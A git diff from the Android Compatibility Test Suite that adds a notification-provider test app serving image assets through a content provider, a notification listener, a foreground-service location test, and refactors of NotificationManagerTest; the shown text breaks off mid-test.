@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.content.ComponentName
+import android.service.notification.NotificationListenerService
+
+class TestNotificationListener : NotificationListenerService() {
+ var isConnected = false
+
+ override fun onListenerConnected() {
+ super.onListenerConnected()
+ instance = this
+ isConnected = true
+ }
+
+ override fun onListenerDisconnected() {
+ super.onListenerDisconnected()
+ isConnected = false
+ }
+
+ companion object {
+ var instance: TestNotificationListener? = null
+ private set
+ val componentName: ComponentName by lazy {
+ val javaClass = TestNotificationListener::class.java
+ ComponentName(javaClass.getPackage().name, javaClass.name)
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/app/NotificationProvider/Android.bp
similarity index 77%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/app/NotificationProvider/Android.bp
index f720d7d..26e69d7 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -11,16 +11,17 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
- defaults: ["cts_defaults"],
- sdk_version: "current",
+ name: "NotificationProvider",
+ defaults: ["cts_support_defaults"],
+ srcs: ["**/*.java", "**/*.kt"],
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "vts10",
"general-tests",
],
- certificate: ":cts-testkey2",
+ platform_apis: true,
+ sdk_version: "current",
}
diff --git a/tests/app/NotificationProvider/AndroidManifest.xml b/tests/app/NotificationProvider/AndroidManifest.xml
new file mode 100644
index 0000000..09ae4b0
--- /dev/null
+++ b/tests/app/NotificationProvider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.test.notificationprovider">
+ <application android:label="Notification Provider">
+ <activity android:name=".RichNotificationActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name=".AssetFileProvider"
+ android:authorities="com.android.test.notificationprovider.provider"
+ android:exported="false"
+ android:grantUriPermissions="true"
+ />
+
+ </application>
+</manifest>
diff --git a/tests/app/NotificationProvider/assets/background7.png b/tests/app/NotificationProvider/assets/background7.png
new file mode 100644
index 0000000..20c22f7
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background7.png
Binary files differ
diff --git a/tests/app/NotificationProvider/assets/background8.png b/tests/app/NotificationProvider/assets/background8.png
new file mode 100644
index 0000000..a7a593d
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background8.png
Binary files differ
diff --git a/tests/app/NotificationProvider/res/layout/activity.xml b/tests/app/NotificationProvider/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationProvider/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+>
+
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="25dp"
+ android:textAppearance="?android:attr/textAppearanceLarge"
+ android:text="@string/activity_description"
+ />
+
+</LinearLayout>
diff --git a/tests/app/NotificationProvider/res/values/strings.xml b/tests/app/NotificationProvider/res/values/strings.xml
new file mode 100644
index 0000000..266ea53
--- /dev/null
+++ b/tests/app/NotificationProvider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<resources>
+ <string name="activity_description">This app has a provider and posts notifications</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
new file mode 100644
index 0000000..af10f1b
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.content.res.AssetFileDescriptor
+import android.database.Cursor
+import android.net.Uri
+
+class AssetFileProvider : ContentProvider() {
+ override fun onCreate(): Boolean {
+ return true
+ }
+
+ override fun openAssetFile(uri: Uri, mode: String): AssetFileDescriptor? {
+ val assets = context?.assets
+ val filename = uri.lastPathSegment
+ if (mode == "r" && assets != null && filename != null) {
+ return assets.openFd(filename)
+ }
+ return super.openAssetFile(uri, mode)
+ }
+
+ override fun query(
+ uri: Uri,
+ projection: Array<String>?,
+ selection: String?,
+ selectionArgs: Array<String>?,
+ sortOrder: String?
+ ): Cursor? {
+ throw UnsupportedOperationException()
+ }
+
+ override fun getType(uri: Uri): String? {
+ return null
+ }
+
+ override fun insert(uri: Uri, values: ContentValues?): Uri? {
+ throw UnsupportedOperationException()
+ }
+
+ override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
+ throw UnsupportedOperationException()
+ }
+
+ override fun update(
+ uri: Uri,
+ values: ContentValues?,
+ selection: String?,
+ selectionArgs: Array<String>?
+ ): Int {
+ throw UnsupportedOperationException()
+ }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
new file mode 100644
index 0000000..4197760
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.app.Activity
+import android.app.Notification
+import android.app.NotificationChannel
+import android.app.NotificationManager
+import android.content.Context
+import android.os.Bundle
+
+/**
+ * Used by NotificationManagerTest for testing policy around content uris.
+ */
+class RichNotificationActivity : Activity() {
+ companion object {
+ const val NOTIFICATION_CHANNEL_ID = "NotificationManagerTest"
+ const val EXTRA_ACTION = "action"
+ const val ACTION_SEND_7 = "send-7"
+ const val ACTION_SEND_8 = "send-8"
+ const val ACTION_CANCEL_7 = "cancel-7"
+ const val ACTION_CANCEL_8 = "cancel-8"
+ }
+
+ enum class NotificationPreset(val id: Int) {
+ Preset7(7),
+ Preset8(8);
+
+ fun build(context: Context): Notification {
+ val extras = Bundle()
+ extras.putString(Notification.EXTRA_BACKGROUND_IMAGE_URI,
+ "content://com.android.test.notificationprovider.provider/background$id.png")
+ return Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle("Rich Notification #$id")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .addExtras(extras)
+ .build()
+ }
+ }
+
+ public override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ setContentView(R.layout.activity)
+ when (intent?.extras?.getString(EXTRA_ACTION)) {
+ ACTION_SEND_7 -> sendNotification(NotificationPreset.Preset7)
+ ACTION_SEND_8 -> sendNotification(NotificationPreset.Preset8)
+ ACTION_CANCEL_7 -> cancelNotification(NotificationPreset.Preset7)
+ ACTION_CANCEL_8 -> cancelNotification(NotificationPreset.Preset8)
+ else -> {
+ // reset both
+ cancelNotification(NotificationPreset.Preset7)
+ cancelNotification(NotificationPreset.Preset8)
+ }
+ }
+ finish()
+ }
+
+ private val notificationManager by lazy { getSystemService(NotificationManager::class.java)!! }
+
+ private fun sendNotification(preset: NotificationPreset) {
+ notificationManager.createNotificationChannel(NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ "Notifications", NotificationManager.IMPORTANCE_DEFAULT))
+ notificationManager.notify(preset.id, preset.build(this))
+ }
+
+ private fun cancelNotification(preset: NotificationPreset) {
+ notificationManager.cancel(preset.id)
+ }
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 12a24c8..5a13eab 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -48,6 +48,7 @@
public static final int COMMAND_STOP_ACTIVITY = 11;
public static final int COMMAND_CREATE_FGSL_PENDING_INTENT = 12;
public static final int COMMAND_SEND_FGSL_PENDING_INTENT = 13;
+ public static final int COMMAND_BIND_FOREGROUND_SERVICE = 14;
public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
@@ -82,7 +83,7 @@
+ intent);
switch (command) {
case COMMAND_BIND_SERVICE:
- doBindService(context, intent);
+ doBindService(context, intent, SERVICE_NAME);
break;
case COMMAND_UNBIND_SERVICE:
doUnbindService(context, intent);
@@ -120,15 +121,18 @@
case COMMAND_SEND_FGSL_PENDING_INTENT:
doSendFgslPendingIntent(context, intent);
break;
+ case COMMAND_BIND_FOREGROUND_SERVICE:
+ doBindService(context, intent, FG_LOCATION_SERVICE_NAME);
+ break;
}
}
- private void doBindService(Context context, Intent commandIntent) {
+ private void doBindService(Context context, Intent commandIntent, String serviceName) {
String targetPackage = getTargetPackage(commandIntent);
int flags = getFlags(commandIntent);
Intent bindIntent = new Intent();
- bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
+ bindIntent.setComponent(new ComponentName(targetPackage, serviceName));
ServiceConnection connection = addServiceConnection(targetPackage);
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 9302e67..c982cd6 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -327,4 +327,43 @@
uid2Watcher.finish();
}
}
+
+
+ public void testFgsLocationStartFromBGWithBind() throws Exception {
+ ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP1, 0);
+ WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+ WAITFOR_MSEC);
+
+ try {
+ // Package1 is in BG state, bind FGSL in package1 first.
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ Bundle bundle = new Bundle();
+ bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
+ ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
+ // Then start FGSL in package1, it won't get location capability.
+ CommandReceiver.sendCommand(mContext,
+ CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
+
+ // Package1 is in FGS state, but won't get location capability.
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_NONE));
+
+ // unbind service.
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ // stop FGSL
+ CommandReceiver.sendCommand(mContext,
+ CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_CACHED_EMPTY,
+ new Integer(PROCESS_CAPABILITY_NONE));
+ } finally {
+ uid1Watcher.finish();
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 52c6535..4979e66 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -75,13 +75,16 @@
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.OperationApplicationException;
+import android.content.ServiceConnection;
import android.content.pm.PackageManager;
import android.content.pm.ShortcutInfo;
import android.content.pm.ShortcutManager;
+import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.drawable.Icon;
@@ -91,6 +94,7 @@
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
+import android.os.IBinder;
import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
import android.os.SystemClock;
@@ -111,12 +115,12 @@
import android.util.Log;
import android.widget.RemoteViews;
-import androidx.test.InstrumentationRegistry;
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.FeatureUtil;
import com.android.compatibility.common.util.SystemUtil;
-
-import junit.framework.Assert;
+import com.android.test.notificationlistener.INotificationUriAccessService;
import java.io.BufferedReader;
import java.io.FileInputStream;
@@ -133,11 +137,15 @@
import java.util.Set;
import java.util.UUID;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
/* This tests NotificationListenerService together with NotificationManager, as you need to have
* notifications to manipulate in order to test the listener service. */
public class NotificationManagerTest extends AndroidTestCase {
+ public static final String NOTIFICATIONPROVIDER = "com.android.test.notificationprovider";
+ public static final String RICH_NOTIFICATION_ACTIVITY =
+ "com.android.test.notificationprovider.RichNotificationActivity";
final String TAG = NotificationManagerTest.class.getSimpleName();
final boolean DEBUG = false;
static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
@@ -160,6 +168,7 @@
private List<String> mRuleIds;
private BroadcastReceiver mBubbleBroadcastReceiver;
private boolean mBubblesEnabledSettingToRestore;
+ private INotificationUriAccessService mNotificationUriAccessService;
@Override
protected void setUp() throws Exception {
@@ -183,9 +192,7 @@
// ensure listener access isn't allowed before test runs (other tests could put
// TestListener in an unexpected state)
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), false);
-
+ toggleListenerAccess(false);
toggleNotificationPolicyAccess(mContext.getPackageName(),
InstrumentationRegistry.getInstrumentation(), true);
mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
@@ -200,7 +207,8 @@
// delay between tests so notifications aren't dropped by the rate limiter
try {
Thread.sleep(500);
- } catch(InterruptedException e) {}
+ } catch (InterruptedException e) {
+ }
}
@Override
@@ -227,8 +235,7 @@
suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
false);
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), false);
+ toggleListenerAccess(false);
toggleNotificationPolicyAccess(mContext.getPackageName(),
InstrumentationRegistry.getInstrumentation(), false);
@@ -242,17 +249,17 @@
setBubblesGlobal(mBubblesEnabledSettingToRestore);
}
- private boolean isNotificationCancelled(int id, boolean all) {
+ private void assertNotificationCancelled(int id, boolean all) {
for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
- StatusBarNotification sbn = findPostedNotification(id, all);
- if (sbn == null) return true;
+ StatusBarNotification sbn = findNotificationNoWait(id, all);
+ if (sbn == null) return;
try {
Thread.sleep(SHORT_WAIT_TIME);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
- return false;
+ assertNull(findNotificationNoWait(id, all));
}
private void insertSingleContact(String name, String phone, String email, boolean starred) {
@@ -314,8 +321,8 @@
try {
Uri phoneUri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
Uri.encode(phone));
- String[] projection = new String[] { ContactsContract.Contacts._ID,
- ContactsContract.Contacts.LOOKUP_KEY };
+ String[] projection = new String[]{ContactsContract.Contacts._ID,
+ ContactsContract.Contacts.LOOKUP_KEY};
c = mContext.getContentResolver().query(phoneUri, projection, null, null, null);
if (c != null && c.getCount() > 0) {
c.moveToFirst();
@@ -338,25 +345,28 @@
private StatusBarNotification findPostedNotification(int id, boolean all) {
// notification is a bit asynchronous so it may take a few ms to appear in
// getActiveNotifications()
- // we will check for it for up to 300ms before giving up
- StatusBarNotification n = null;
- for (int tries = 3; tries-- > 0; ) {
- final StatusBarNotification[] sbns = getActiveNotifications(all);
- for (StatusBarNotification sbn : sbns) {
- Log.d(TAG, "Found " + sbn.getKey());
- if (sbn.getId() == id) {
- n = sbn;
- break;
- }
+ // we will check for it for up to 1000ms before giving up
+ for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+ StatusBarNotification n = findNotificationNoWait(id, all);
+ if (n != null) {
+ return n;
}
- if (n != null) break;
try {
- Thread.sleep(100);
+ Thread.sleep(SHORT_WAIT_TIME);
} catch (InterruptedException ex) {
// pass
}
}
- return n;
+ return findNotificationNoWait(id, all);
+ }
+
+ private StatusBarNotification findNotificationNoWait(int id, boolean all) {
+ for (StatusBarNotification sbn : getActiveNotifications(all)) {
+ if (sbn.getId() == id) {
+ return sbn;
+ }
+ }
+ return null;
}
private StatusBarNotification[] getActiveNotifications(boolean all) {
@@ -467,8 +477,7 @@
private void setUpNotifListener() {
try {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
mListener = TestNotificationListener.getInstance();
mListener.resetData();
assertNotNull(mListener);
@@ -489,16 +498,16 @@
if (data == null) {
data = new Notification.BubbleMetadata.Builder(pendingIntent,
- Icon.createWithResource(mContext, R.drawable.black))
+ Icon.createWithResource(mContext, R.drawable.black))
.build();
}
if (builder == null) {
builder = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.black)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + id)
- .setContentText("This is #" + id + "notification ")
- .setContentIntent(pendingIntent);
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .setContentIntent(pendingIntent);
}
builder.setBubbleMetadata(data);
@@ -541,7 +550,7 @@
// getActiveNotifications()
// we will check for it for up to 300ms before giving up
boolean found = false;
- for (int tries = 3; tries--> 0;) {
+ for (int tries = 3; tries-- > 0; ) {
// Need reset flag.
found = false;
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -567,7 +576,7 @@
// getActiveNotifications()
// we will check for it for up to 400ms before giving up
int lastCount = 0;
- for (int tries = 4; tries-- > 0;) {
+ for (int tries = 4; tries-- > 0; ) {
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
lastCount = sbns.length;
if (expectedCount == lastCount) return;
@@ -577,7 +586,7 @@
// pass
}
}
- fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
+ fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
}
private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
@@ -631,18 +640,23 @@
runCommand(command, instrumentation);
}
- private void toggleListenerAccess(String componentName, Instrumentation instrumentation,
- boolean on) throws IOException {
-
+ private void toggleListenerAccess(boolean on) throws IOException {
String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
- + componentName;
+ + TestNotificationListener.getId();
- runCommand(command, instrumentation);
+ runCommand(command, InstrumentationRegistry.getInstrumentation());
final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
final ComponentName listenerComponent = TestNotificationListener.getComponentName();
- assertTrue(listenerComponent + " has not been granted access",
- nm.isNotificationListenerAccessGranted(listenerComponent) == on);
+ assertEquals(listenerComponent + " has incorrect listener access",
+ on, nm.isNotificationListenerAccessGranted(listenerComponent));
+ }
+
+ private void toggleExternalListenerAccess(ComponentName listenerComponent, boolean on)
+ throws IOException {
+ String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
+ + listenerComponent.flattenToString();
+ runCommand(command, InstrumentationRegistry.getInstrumentation());
}
private void setBubblesGlobal(boolean enabled)
@@ -674,15 +688,18 @@
Thread.sleep(500); // wait for ranking update
}
+ @SuppressWarnings("StatementWithEmptyBody")
private void runCommand(String command, Instrumentation instrumentation) throws IOException {
UiAutomation uiAutomation = instrumentation.getUiAutomation();
// Execute command
try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
- Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+ assertNotNull("Failed to execute shell command: " + command, fd);
// Wait for the command to finish by reading until EOF
try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
byte[] buffer = new byte[4096];
- while (in.read(buffer) > 0) {}
+ while (in.read(buffer) > 0) {
+ // discard output
+ }
} catch (IOException e) {
throw new IOException("Could not read stdout of command: " + command, e);
}
@@ -716,7 +733,7 @@
private void assertExpectedDndState(int expectedState) {
int tries = 3;
- for (int i = tries; i >=0; i--) {
+ for (int i = tries; i >= 0; i--) {
if (expectedState ==
mNotificationManager.getCurrentInterruptionFilter()) {
break;
@@ -826,11 +843,11 @@
KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
keyguardManager.requestDismissKeyguard(sendBubbleActivity,
new KeyguardManager.KeyguardDismissCallback() {
- @Override
- public void onDismissSucceeded() {
- latch.countDown();
- }
- });
+ @Override
+ public void onDismissSucceeded() {
+ latch.countDown();
+ }
+ });
try {
latch.await(500, TimeUnit.MILLISECONDS);
} catch (InterruptedException e) {
@@ -1116,7 +1133,7 @@
new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setDescription("bananas");
channel.enableVibration(true);
- channel.setVibrationPattern(new long[] {5, 8, 2, 1});
+ channel.setVibrationPattern(new long[]{5, 8, 2, 1});
channel.setSound(new Uri.Builder().scheme("test").build(),
new AudioAttributes.Builder().setUsage(
AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED).build());
@@ -1231,7 +1248,8 @@
try {
mNotificationManager.createNotificationChannel(channel);
fail("Created notification with bad group");
- } catch (IllegalArgumentException e) {}
+ } catch (IllegalArgumentException e) {
+ }
}
public void testCreateChannelInvalidImportance() throws Exception {
@@ -1398,8 +1416,7 @@
}
public void testSuspendPackage() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1440,8 +1457,7 @@
}
public void testSuspendedPackageSendsNotification() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1493,8 +1509,7 @@
assertEquals(1, Settings.Global.getInt(
mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1538,8 +1553,7 @@
assertEquals(1, Settings.Secure.getInt(
mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BADGING));
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1581,8 +1595,7 @@
}
public void testGetSuppressedVisualEffectsOff_ranking() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1610,8 +1623,7 @@
final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
NotificationManager.Policy origPolicy = mNotificationManager.getNotificationPolicy();
try {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1659,8 +1671,7 @@
}
public void testKeyChannelGroupOverrideImportanceExplanation_ranking() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1747,6 +1758,10 @@
public void testCancel() throws Exception {
final int id = 9;
sendNotification(id, R.drawable.black);
+ // Wait for the notification posted not just enqueued
+ try {
+ Thread.sleep(500);
+ } catch(InterruptedException e) {}
mNotificationManager.cancel(id);
if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
@@ -1948,7 +1963,8 @@
.setStyle(new Notification.BigPictureStyle()
.setBigContentTitle("title")
.bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
- .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+ .bigLargeIcon(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue))
.setSummaryText("summary"))
.build();
mNotificationManager.notify(id, notification);
@@ -2383,31 +2399,31 @@
}
public void testNotificationPolicyVisualEffectsEqual() {
- NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+ NotificationManager.Policy policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_ON);
- NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ NotificationManager.Policy policy2 = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_PEEK);
assertTrue(policy.equals(policy2));
assertTrue(policy2.equals(policy));
- policy = new NotificationManager.Policy(0,0 ,0 ,
+ policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_ON);
- policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ policy2 = new NotificationManager.Policy(0, 0, 0,
0);
assertFalse(policy.equals(policy2));
assertFalse(policy2.equals(policy));
- policy = new NotificationManager.Policy(0,0 ,0 ,
+ policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_OFF);
